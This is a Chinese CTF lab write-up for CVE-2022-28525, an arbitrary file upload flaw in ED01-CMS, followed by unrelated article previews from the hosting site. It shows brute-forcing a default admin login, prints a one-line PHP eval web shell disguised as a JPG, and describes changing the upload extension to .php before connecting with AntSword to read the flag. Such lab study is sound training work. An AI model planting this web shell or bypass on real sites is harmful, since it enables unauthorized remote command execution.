春秋云境 | 文件上传

春秋云境 | 文件上传 | CVE-2022-28525

news2024/11/25 11:34:11

靶标介绍

开启靶场

蚁剑连接

获取 flag

靶标介绍

ED01-CMS v20180505 存在任意文件上传漏洞

开启靶场

发现了一个登录功能，使用 burp 爆破一下

爆破之后得到账号是 admin 密码是 admin，登录后是这样的页面

在左边的菜单栏挨着一个一个找，发现这个地方可以编辑用户的信息，可以修改头像上传头像

构造一个一句话木马，重命名为 1.jpg

1.jpg：
<?php @eval($_POST[cmd]);?>

勾选 new image，上传 1.jpg，然后抓包，修改后缀为 php，然后放包

放包之后，发现上传成功，右击复制图片链接

蚁剑连接

在根目录发现了 flag

获取 flag

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1985967.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

天地图按地名搜索+openlayer+vue3

使用element-plus组件库安装ol npm i ol -s 安装axios (调用天地图api http://lbs.tianditu.gov.cn/server/search.html) npm i axios -s 主要代码 <template><div class"my-add-maker-box"><div class"my-point-box"><span>经…

直接用文件方式安装Cuda版本的Pytorch

先查看当前安装好的Cuda版本： 采用pip install 文件方式安装本地的whl文件： 注意whl文件已经提前下载好了： 然后开始安装： 解压安装途中，相关的包也重新下载： 继续安装： 安装完毕了&#xff1…

【多线程-从零开始-伍】volatile关键字和内存可见性问题

volatile 关键字 import java.util.Scanner; public class Demo2 { private static int n 0; public static void main(String[] args) { Thread t1 new Thread(() -> { while(n 0){ //啥都不写 } System.out.println("t1 线程结束循环"); }, "…

基于STM32的智能灌溉系统

目录引言环境准备工作硬件准备软件安装与配置系统设计系统架构硬件连接代码实现初始化代码传感器读取和控制代码应用场景农业灌溉花园自动灌溉常见问题及解决方案常见问题解决方案结论 1. 引言智能灌溉系统通过实时监测土壤湿度和环境温度，自动控制灌溉设…

【画流程图工具】

画流程图工具 draw.io draw.io（现称为 diagrams.net）是一款在线图表绘制工具，可以用于创建各种类型的图表，如流程图、网络图、组织结构图、UML图、思维导图等。以下是关于它的一些优点、应用场景及使用方法： 优点&a…

Linux(初学)

一.Linux历史 1.计算机发展历史 1945.2.14 埃尼阿克(第一台计算机)(军事用途) 摩尔定律(计算机小型化,高性能化) 摩尔定律是英特尔创始人之一戈登摩尔的经验之谈，其核心内容为：集成电路上可以容纳的晶体管数目在大约每经过18个月到24个月便会增加…

理解Android framework之AOSP：从内核到应用层

一、AOSP Android framework确保设备的各个部件和程序顺利协同工作。对于想要全面了解 Android 设备内部工作原理、开发高质量应用、优化设备性能以及充分利用 Android 生态系统潜力的人来说，了解 Android 框架也是必不可少的。它是连接用户、开发者和 Android 平台…

高效录屏指南：四大电脑录屏必备工具推荐！

在数字化时代，无论是工作汇报、在线教育还是游戏直播，电脑录屏已经成为了一项不可或缺的技能。今天，我们就来探索一下市面上几款备受好评的录屏工具：福昕录屏大师、转转大师录屏、爱拍录屏、嗨格式录屏大师，看看它们各…

基于RFID技术的智能压缩机装配线优化方案

基于RFID技术的智能压缩机装配线优化方案传统压缩机装配线往往存在诸多痛点，如生产线单一、无法满足多元化和个性化的市场需求；生产数据滞后，导致产品统计的及时性和准确性无法得到保证；质量问题追溯困难，无法快速准…

c/c++ 为数组整体赋初值

目录声明一.整体赋值为0、“”或‘ ’ 二.整体赋值为其他 1.利用for循环赋值 2.逐个赋值声明为让c/c的朋友都看懂，本文将采取c语言为大家讲解一.整体赋值为0、“”或‘ ’ 为什么把0、“”或‘ ’这三种情况单独调出来呢，因为如果将数组定义…

日股暴涨暴跌，港股恐将遭受波及！

近日海外市场波动较大，比如美国、日本等市场的走势可谓是“上蹿下跳”。港股市场也因此受到影响。众所周知，影响股票市场走势的重要因素之一是资金面，这一表现影响大盘及个股的走势。在港股市场，卖空数据作为关键指标备受关注。 …

铲屎官的好帮手，去猫咪浮毛神器——宠物空气净化器分享

养猫的家庭普遍面临一个共同的挑战：即便是刚经过一番精心打扫的居住环境，不出两日，家具表面、地板乃至家中各个缝隙便悄无声息地被一层细腻柔软的猫毛轻轻覆盖。这一现象，很大程度上归咎于猫咪的日常活跃与季节性的换毛过程。不仅…

ACL 2024 Oral | 大模型也会被忽悠？揭秘AI的信念之旅

地球是平的吗？ 当然不是。自古希腊数学家毕达哥拉斯首次提出地圆说以来，现代科学技术已经证明了地球是圆形这一事实。但是，你有没有想过，如果 AI 被误导性信息 “忽悠” 了，会发生什么？ 来自清华、上海…

网络面经

1.TCP头格式有哪些？ 图解TCP头部格式详情源端口和目的端口端口的作用是什么？ 端口的作用是在网络中唯一表示一台主机中的一个进程序列号什么是序列号？ 用来给传输的字节标号的比如要传10个字节那么给第一个字节标号为1001 那么第十…

周鸿祎哈佛演讲摘要:大模型创业要抓住中国机会

时间:2024/04/13(美东时间) 地点:美国波士顿哈佛大学 *演讲语言为中文，“因为我的英文就比are you OK 的水平高一点点”。 1、无论你是一个创业者，还是一个企业家，最重要的一点说要跟用户保持接触，要去聊天，跟用户对话…

测试环境搭建整套大数据系统（十八：ubuntu镜像源进行更新）

镜像源更新为清华源报错显示解决方案做好备份 cp /etc/apt/sources.list /etc/apt/sources.list.bak查看配置信息 sudo vim /etc/apt/sources.listsudo sed -i s/cn.archive.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list sudo apt update

Java学习Day22：基础篇12

异常 1.什么是异常 2.继承体系 3.异常和错误的区别 4.异常处理 1.抛出异常throw public class err { public static void main(String[] args) { add(1,0); } static void add(int a,int b){ if (b0) { throw new ArithmeticExcepti…

【Linux】Linux重定向指南：探索输出重定向与追加重定向的奥秘！

欢迎来到 CILMY23 的博客 🏆本篇主题为：Linux重定向指南：探索输出重定向与追加重定向的奥秘！ 🏆个人主页：CILMY23-CSDN博客 🏆系列专栏：Python | C | C语言 | 数据结构与算法 | 贪…

css水波浪动画效果

为缩小gif大小，动画效果做了加速，效果如下： <!DOCTYPE html> <html> <head> <style> *{padding:0;margin:0;}/*清除默认填充及边距*/.water{position:relative;width:100vw;height:100vh;overflow:hidden;background…

std::string 的特性

s1是自己实现的string std的string里面有一个——Buf的数组大小为16通过内存对齐之后就是28个字节如果存储的字符串大小不超过Buf数组的大小就存在里面，如果字符串的大小超过16字节就会重新开辟空间就会把Buf的空间浪费掉这是一种空间换时间的设计。